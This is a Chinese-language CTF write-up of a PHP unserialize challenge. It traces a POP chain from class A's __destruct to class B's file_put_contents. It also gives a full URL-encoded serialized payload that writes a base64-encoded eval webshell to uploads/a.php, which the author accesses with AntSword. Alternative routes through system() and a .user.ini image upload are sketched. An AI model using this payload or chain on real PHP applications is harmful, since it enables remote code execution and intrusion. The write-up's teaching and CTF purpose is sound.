[2020 新春红包题]
题目给了提示,我们访问?src=1可以拿到源码
1 | <?php |
我没看到最下面有个unserialize,猜测该题为反序列化,我们寻找魔术方法
我们在A类中找到一个__destruct方法
1 | public function __destruct() { |
如果atuosave为0,就会执行save方法
我们来看save方法怎么触发反序列化
1 |
|
save调用了getForStorage方法,该方法返回json数据。
getForStorage方法调用了cleanContents方法,该方法用于求给contents中与path、dirname、basename所在数组的交集。也就是说contents中只能包含path、dirname等key值。
小结一下就是save方法用来将传递的contents经过筛选之后得到一段json值,并将该值交给了store属性的set方法处理。
那么contents是否可以被用户控制,set方法能否执行命令
重新审计A类,我们发现contents变量值来源于处理后的cache变量,cache变量是A的一个属性,因此它是可控的。对于set方法,A中没有set方法,但B中又,所以store的值肯定为new B();
我们来看B类
1 | protected function getExpireTime($expire): int { |
通过审计代码,我们可以发现一个file_put_contents函数,这里被触发就有可能进行webshell。该函数用到的函数名会被getCatchKey处理一下,文件名来源于A中的key属性。该函数中被写入的值来源于data变量,data变量由A中的contents经过serialize处理得到,serialize是一个可控变量,可以自己选定函数名。serialize处理后可以进行压缩,但是这里显然是不能让他压缩,直接把options[‘data_compress’]定义为false即可。
小结一下,A中传递过来contents和key参数给B的set方法做处理,如果能选定适当的serialize函数,构造合适的contents以及合适的文件名,那么就可以写入webshell,获取flag。
参数构造
1 | <?php |
1 | class B{ |
exp
1 | <?php |
1 | ?src=1&data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22expire%22%3Bi%3A111%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3Bs%3A6%3A%22prefix%22%3Bs%3A58%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Duploads%2F%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A11%3A%22%2F..%2Fa.php%2F.%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A111%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A32%3A%22PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2B%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D |
将数据传上去后,我们访问uploads/a.php
成功传上,我们用蚁剑进行连接,找到flag
解法二:
1 | 首先autosave要为0,$testB->options['serialize']要为system函数,此时我们对最后的写文件没什莫要求了,但必须要执行到$data = $this->serialize($value);这步,$testA->cache要为system要执行的命令 |
1 | <?php |
解法三
先上传图片马,再上传.use.ini
1 | $b = new B(); |
1 | $b = new B(); |